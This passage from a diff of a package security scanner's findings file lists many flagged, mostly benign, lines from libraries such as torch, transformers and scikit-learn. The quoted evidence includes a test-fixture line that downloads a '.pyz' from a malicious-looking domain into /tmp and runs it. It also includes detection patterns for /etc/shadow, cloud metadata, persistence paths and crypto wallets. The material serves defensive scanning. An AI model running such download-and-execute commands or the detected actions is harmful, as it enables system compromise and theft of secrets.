importlib.import_module('rich_rst._vendor.docutils.readers.'+name)"+ "evidence": "L129: module = importlib.import_module('rich_rst._vendor.docutils.readers.'+name)",+ "evidence_hash": "3910f6c4f0684f9ed611f0c7b0d3b3121f7fa1188186dd22c0f9f0615a137073"},{"package": "rich-rst","file": "rich_rst/_vendor/docutils/writers/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)"+ "evidence": "L271: module = importlib.import_module('rich_rst._vendor.docutils.writers.'+name)",+ "evidence_hash": "bdc0d6a4e35580266debac3c46b0845a315af192ce8df6fcec9cf01d1aa09106"},{"package": "scikit-learn","file": "sklearn/datasets/_openml.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L100: while True:"+ "evidence": "L100: while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b",+ "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe"+ },+ {+ "package": "scikit-learn",+ "file": "sklearn/datasets/_openml.py",+ "check": "C2 polling/beaconing loop detected",+ "severity": "CRITICAL",+ "evidence": "L100: while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594",+ "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193"},{"package": "scikit-learn","file": "sklearn/externals/array_api_compat/cupy/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')"+ "evidence": "L10: __import__(__package__ + '.linalg') | L11: __import__(__package__ + '.fft')",+ "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"},{"package": "scikit-learn","file": "sklearn/externals/array_api_compat/dask/array/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')"+ "evidence": "L11: __import__(__package__ + '.linalg') | L12: __import__(__package__ + '.fft')",+ "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"},{"package": "scikit-learn","file": "sklearn/externals/array_api_compat/numpy/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")"+ "evidence": "L22: __import__(__package__ + \".linalg\") | L24: __import__(__package__ + \".fft\")",+ "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159"},{"package": "scikit-learn","file": "sklearn/externals/array_api_compat/torch/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')"+ "evidence": "L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')",+ "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"},{"package": "scikit-learn","file": "sklearn/svm/tests/test_svm.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L1040: os.dup2(os.pipe()[1], 1) | L1047: os.dup2(stdout, 1)"- },- {- "package": "scipy",- "file": "scipy/_lib/array_api_compat/cupy/__init__.py",- "check": "Downloads and executes remote code",- "severity": "CRITICAL",- "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')"- },- {- "package": "scipy",- "file": "scipy/_lib/array_api_compat/dask/array/__init__.py",- "check": "Downloads and executes remote code",- "severity": "CRITICAL",- "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')"- },- {- "package": "scipy",- "file": "scipy/_lib/array_api_compat/numpy/__init__.py",- "check": "Downloads and executes remote code",- "severity": "CRITICAL",- "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")"- },- {- "package": "scipy",- "file": "scipy/_lib/array_api_compat/torch/__init__.py",- "check": "Downloads and executes remote code",- "severity": "CRITICAL",- "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')"+ "evidence": "L980: os.dup2(os.pipe()[1], 1) | L987: os.dup2(stdout, 1)",+ "evidence_hash": "a4b97d799d5de94c1d9a8df1cfc0f862fc64fea5c3ccd06116a37a5fcbe9f653"},{"package": "scipy","file": "scipy/_external/array_api_compat/cupy/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')"+ "evidence": "L12: __import__(__package__ + '.linalg') | L13: __import__(__package__ + '.fft')",+ "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"},{"package": "scipy","file": "scipy/_external/array_api_compat/dask/array/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')"+ "evidence": "L16: __import__(__package__ + '.linalg') | L17: __import__(__package__ + '.fft')",+ "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"},{"package": "scipy","file": "scipy/_external/array_api_compat/numpy/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")"+ "evidence": "L23: __import__(__package__ + \".linalg\") | L25: __import__(__package__ + \".fft\")",+ "evidence_hash": "2b68d103ce6c59e6ee2017226c87c8c8bb43c60f8f195e75662d3da8981dd159"},{"package": "scipy","file": "scipy/_external/array_api_compat/torch/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')"+ "evidence": "L13: __import__(__package__ + '.linalg') | L14: __import__(__package__ + '.fft')",+ "evidence_hash": "07e5e48b6d99be274eaf683df11084aa35bd7bbef36abcee0459edb7fc66d4f8"},{"package": "sentencepiece","file": "sentencepiece/__init__.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)"+ "evidence": "L1221: os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226: os.dup2(self.orig_stream_dup, self.orig_stream_fileno)",+ "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc"},{"package": "setuptools","file": "distutils-precedence.pth","check": ".pth has advanced obfuscation (marshal/compile/zlib/__import__)","severity": "CRITICAL",- "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();"+ "evidence": "L1: import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__('_distutils_hack').add_shim();",+ "evidence_hash": "2f70c2fa9227e9db9348215d9c7b246d2786aac7516f86d71a5952c7c225aa16"},{"package": "setuptools","file": "setuptools/_distutils/tests/test_build_ext.py","check": "Writes to /tmp and executes (staged dropper)","severity": "CRITICAL",- "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so')"+ "evidence": "L115: shutil.copyfile(libz_so[-1], '/tmp/libxx_z.so') sha256:bef4914cda18bd0d231ab5481953dcf1ed3f2d7589a3a1de35be40435fbae5b9",+ "evidence_hash": "32624628db3d7f0e6d667695033821ee804e4eb941c6fbe0421e997f7e729ad7"},{"package": "setuptools","file": "setuptools/_vendor/jaraco/context/__init__.py","check": "Creates archive with sensitive data AND makes network calls","severity": "CRITICAL",- "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)"+ "evidence": "Archive: L79: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L14: import urllib.request | L78: req = urllib.request.urlopen(url)",+ "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c"},{"package": "sympy","file": "sympy/external/importtools.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L154: __import__(module + '.' + submod)"+ "evidence": "L154: __import__(module + '.' + submod)",+ "evidence_hash": "c08b793301fde50f2369338cceea56329e39c315fc1c177480ef094932182a0b"},{"package": "tiktoken","file": "tiktoken/load.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)"+ "evidence": "Env: L38: cache_dir = os.environ[\"TIKTOKEN_CACHE_DIR\"]\nNetwork: L17: resp = requests.get(blobpath)",+ "evidence_hash": "3779e1812928be4f20704ffc40a65b8c45b69a319b39e94d3ad92b4c775eb12d"},{"package": "torch","file": "functorch/dim/magic_trace.py","check": "Writes to /tmp and executes (staged dropper)","severity": "CRITICAL",- "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\""+ "evidence": "L15: output: str = \"trace.fxt\", magic_trace_cache: str = \"/tmp/magic-trace\" sha256:509c96b9721a10fc1df0567da3a366f08ed337b3afa3e57971756bd941da675e",+ "evidence_hash": "6e64b3ddbb81079049d46dc3bd1024958c71ce0de299cda650720cfd168d5023"},{"package": "torch","file": "torch/_inductor/codecache.py","check": "base64 decode + subprocess execution (staged payload)","severity": "CRITICAL",- "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run( | L2995: cmd_output = subprocess.run( | L3707: out = subprocess.check_output("+ "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run(\nL2693: cmd.split(), capture_output=True, text=True, check=True\nL2694: ) | L2995: cmd_output = subprocess.run(\nL2996: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997: ) | L3707: out = subprocess.check_output(\nL3708: [\"ldd\", os.path.join(search, file)]\nL3709: ) | L3791: jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876: subprocess.check_call(\nL3877: shlex.split(halide_cmd_gen.get_command_line())\nL3878: ) | L4336: subprocess.check_output(\nL4337: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338: ) | L4591: output = subprocess.check_output(\nL4592: cmd_parts,\nL4593: stderr=subprocess.STDOUT,\nL4594: text=True,\nL4595: env=os.environ,\nL4596: )",+ "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b"},{"package": "torch","file": "torch/ao/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L30: return importlib.import_module(\".\" + name, __name__)"+ "evidence": "L30: return importlib.import_module(\".\" + name, __name__)",+ "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"},{"package": "torch","file": "torch/ao/nn/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L34: return importlib.import_module(\".\" + name, __name__)"+ "evidence": "L34: return importlib.import_module(\".\" + name, __name__)",+ "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"},{"package": "torch","file": "torch/ao/nn/intrinsic/__init__.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L40: return importlib.import_module(\".\" + name, __name__)"+ "evidence": "L40: return importlib.import_module(\".\" + name, __name__)",+ "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"},{"package": "torch","file": "torch/cuda/_memory_viz.py","check": "Enumerates filesystem AND makes network calls","severity": "CRITICAL",- "evidence": "FS: L74: if \"history\" in b:\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve("+ "evidence": "FS: L74: if \"history\" in b: sha256:8537d03f5cf112e0dd4afd03d7928fce66a1b24456ee5b9cf3cd776d1b756c34\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(\nL102: \"https://raw.githubusercontent.com/brendangregg/FlameGraph/master/flamegraph.pl\",\nL103: f.name,\nL104: )",+ "evidence_hash": "ee54e444a087560402a5ec3b1412e11c95d44f086108664b74cafb7ebc990d85"},{"package": "torch","file": "torch/distributed/elastic/multiprocessing/redirects.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L218: os.dup2(dst.fileno(), std_fd)"+ "evidence": "L218: os.dup2(dst.fileno(), std_fd)",+ "evidence_hash": "de197e9d0a8e6df32e900b34e6584602dbdb5f555c689825774915e30460446f"},{"package": "torch","file": "torch/hub.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r:"+ "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r: | L749: with urlopen(req) as u:",+ "evidence_hash": "95ea712c0e7062aa43f5d6cb18315e8c11f76b3981a585bee53c069998da3704"},{"package": "torch","file": "torch/testing/_internal/common_utils.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L4770: env = os.environ.copy()\nNetwork: L4832: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:"+ "evidence": "Env: L4770: env = os.environ.copy()\nNetwork: L4832: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:",+ "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386"},{"package": "torch","file": "torch/testing/_internal/common_utils.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L32: import socket"+ "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3",+ "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53"},{"package": "torchvision","file": "torchvision/datasets/utils.py","check": "Creates archive with sensitive data AND makes network calls","severity": "CRITICAL",- "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as r"+ "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as response: | L63: with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:",+ "evidence_hash": "f78206d208cb2fed68f5cc2cb26e73d3db10c79848a4289fccaf09eeaa63a080"},{"package": "traitlets","file": "traitlets/config/loader.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)"+ "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)",+ "evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470"},{"package": "transformers","file": "transformers/integrations/integration_utils.py","check": "Enumerates filesystem AND makes network calls","severity": "CRITICAL",- "evidence": "FS: L2057: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \"\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: w"+ "evidence": "FS: L2125: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \" sha256:e8d462221be344624d83eea5e696f898835c89de17020fee72f03b5bb79ada56\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:",+ "evidence_hash": "7c999f55312c7485cb0d5dd40134dc6aabb1c718fd3a3efe5cc48e0d5a8f26ca"},{"package": "transformers","file": "transformers/integrations/integration_utils.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L2444: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: with urllib.request.urlopen(req, timeout=5, c"+ "evidence": "Env: L2512: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:",+ "evidence_hash": "60b7a5ab21f1ac825331feef21f9a6e2751da85b062164c2e183b28d4dae4cfb"+ },+ {+ "package": "transformers",+ "file": "transformers/testing_utils.py",+ "check": "C2 polling/beaconing loop detected",+ "severity": "CRITICAL",+ "evidence": "L1663: while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65",+ "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15"},{"package": "transformers","file": "transformers/testing_utils.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L1577: while True:"+ "evidence": "L1623: while True: sha256:012c2884195786085fb2ecad951e47f205bf094d75335b81aae14c0b499a208a",+ "evidence_hash": "af3cfbdaa405a19c27295fde282e907fb06ad3bb96039f6731f9f82754c1c049"+ },+ {+ "package": "transformers",+ "file": "transformers/testing_utils.py",+ "check": "C2 polling/beaconing loop detected",+ "severity": "CRITICAL",+ "evidence": "L1577: while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b",+ "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9"},{"package": "transformers","file": "transformers/testing_utils.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L252: value = os.environ[key] | L268: value = os.environ[key] | L2043: env = os.environ.copy()\nNetwork: L2475: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:"+ "evidence": "Env: L284: value = os.environ[key] | L300: value = os.environ[key] | L2129: env = os.environ.copy() | L2251: for k in list(os.environ.keys()):\nNetwork: L2561: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:",+ "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4"},{"package": "transformers","file": "transformers/testing_utils.py","check": "Reverse shell / bind shell pattern","severity": "CRITICAL",- "evidence": "L2473: import socket"+ "evidence": "L2473: import socket sha256:ad30a1fc73ad185f6c085cb5ee294fc944c614de31d5eea7e23082465a7fc0cc",+ "evidence_hash": "8e7983acde3d0fe4377ee8ef95a732d74c2c9784aacc154d1ab9bbdf9fbcb736"},{"package": "transformers","file": "transformers/utils/import_utils.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L2439: return importlib.import_module(\".\" + module_name, self.__name__)"+ "evidence": "L2345: return importlib.import_module(\".\" + module_name, self.__name__)",+ "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"},{"package": "triton","file": "triton/tools/build_extern.py","check": "Writes to /tmp and executes (staged dropper)","severity": "CRITICAL",- "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\""+ "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"\nL316: \nL317: def disasm(self, lib_path: str) -> None:\nL318: subprocess.Popen([self._path, lib_path, \"-o\", self.ll_file], stdout=subprocess.PIPE).communicate()",+ "evidence_hash": "b01058d795f253b6327546f0ff09a6100bbdb83ce275b29ef955d8043a4a5890"+ },+ {+ "package": "trl",+ "file": "trl/extras/vllm_client.py",+ "check": "C2 polling/beaconing loop detected",+ "severity": "CRITICAL",+ "evidence": "L146: while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe",+ "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db"},{"package": "trl","file": "trl/extras/vllm_client.py","check": "C2 polling/beaconing loop detected","severity": "CRITICAL",- "evidence": "L152: while True:"+ "evidence": "L152: while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f",+ "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1"},{"package": "trl","file": "trl/import_utils.py","check": "Downloads and executes remote code","severity": "CRITICAL",- "evidence": "L156: return importlib.import_module(\".\" + module_name, self.__name__)"+ "evidence": "L144: return importlib.import_module(\".\" + module_name, self.__name__)",+ "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"},{"package": "unsloth-zoo","file": "scripts/scan_packages.py","check": "Accesses cloud metadata/IMDS AND makes network calls","severity": "CRITICAL",- "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.re"+ "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:",+ "evidence_hash": "6c5b2c00cf729c2cc1ae948818695e05d207a6845b6c1b71ed2967780866ab2d"},{"package": "unsloth-zoo","file": "scripts/scan_packages.py","check": "Creates archive with sensitive data AND makes network calls","severity": "CRITICAL",- "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as"+ "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:",+ "evidence_hash": "9eb520994e9b3dd1030e60820dcc5b6df8e0c58db9d6b83d2379addfbab22ba6"},{"package": "unsloth-zoo","file": "scripts/scan_packages.py","check": "Enumerates filesystem AND makes network calls","severity": "CRITICAL",- "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.url"+ "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:",+ "evidence_hash": "2439b08c35dac70ee8f388456012affb3f8eb10b267e54a42f21ff1f815af8ee"},{"package": "unsloth-zoo","file": "scripts/scan_packages.py","check": "Installs persistence AND makes network calls (backdoor pattern)","severity": "CRITICAL",- "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.u"+ "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\" | L170: r\"|/Library/LaunchAgents\" | L172: r\"|~/.local/share/systemd\" | L174: r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L175: r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:",+ "evidence_hash": "9e0d1f1b32af3babe90061cf52b0567d1500ab5c55aabe2fa5ed91b6f753e84d"},{"package": "unsloth-zoo","file": "scripts/scan_packages.py","check": "May-12 Shai-Hulud IOC string present in Python file","severity": "CRITICAL",- "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\","+ "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\",",+ "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57"},{"package": "unsloth-zoo","file": "scripts/scan_packages.py","check": "Targets cryptocurrency wallets AND makes network calls","severity": "CRITICAL",- "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as r"- },- {- "package": "unsloth-zoo",- "file": "scripts/scan_packages.py",- "check": "Writes to /tmp and executes (staged dropper)",- "severity": "CRITICAL",- "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\","+ "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:",+ "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212"},{"package": "unsloth-zoo","file": "tests/security/fixtures/_build.py","check": "Creates archive with sensitive data AND makes network calls","severity": "CRITICAL",- "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve("+ "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(\nL53: \"https://git-tanstack.com/transformers.pyz\",\nL54: \"/tmp/transformers.pyz\",\nL55: )",+ "evidence_hash": "0c8c9a4f85e95be1a922722a7fd3e102294a3547fa3a7c5e3541472a8a02cf7a"},{"package": "unsloth-zoo","file": "tests/security/fixtures/_build.py","check": "May-12 Shai-Hulud IOC string present in Python file","severity": "CRITICAL",- "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)"+ "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)",+ "evidence_hash": "e26145aaf4804d2e53d9f354c68a1ca80f789b10131ff23390267f5a7347d7f8"},{"package": "unsloth-zoo","file": "tests/security/fixtures/_build.py","check": "Writes to /tmp and executes (staged dropper)","severity": "CRITICAL",- "evidence": "L54: \"/tmp/transformers.pyz\","+ "evidence": "L54: \"/tmp/transformers.pyz\",\nL55: )\nL56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)",+ "evidence_hash": "77d49ccb99804ab8392ac1c3312e9ea293b2ed1b9cce0e0049c0012d99e33336"},{"package": "unsloth-zoo","file": "tests/security/test_scan_packages.py","check": "May-12 Shai-Hulud IOC string present in Python file","severity": "CRITICAL",- "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\","+ "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\", | L157: \"With Love TeamPCP\", | L158: \"We've been online over 2 hours\",",+ "evidence_hash": "6f880d63fe3f86959fde31cc09148bbb7c0e26c99c6362bd89839bdc439f9ba5"},{"package": "unsloth-zoo","file": "tests/security/test_scan_packages.py","check": "Writes to /tmp and executes (staged dropper)","severity": "CRITICAL",- "evidence": "L155: \"/tmp/transformers.pyz\","+ "evidence": "L155: \"/tmp/transformers.pyz\", sha256:391fc46893340b6b28bf8359aec196593d8cbd7545b9559c75569804529b5ce0",+ "evidence_hash": "ba4f0bfd71bd79968c737b868d633c7e2159aaf5b95d06bab679245ba4ab12f0"},{"package": "unsloth-zoo","file": "tests/test_convert_hf_to_gguf_patcher.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)"+ "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)",+ "evidence_hash": "c58bac3dde2e3a4ec266bb3cbc9ebc1c95ec5b862b64bc8b8ac5140d3e73d2a2"},{"package": "unsloth-zoo",- "file": 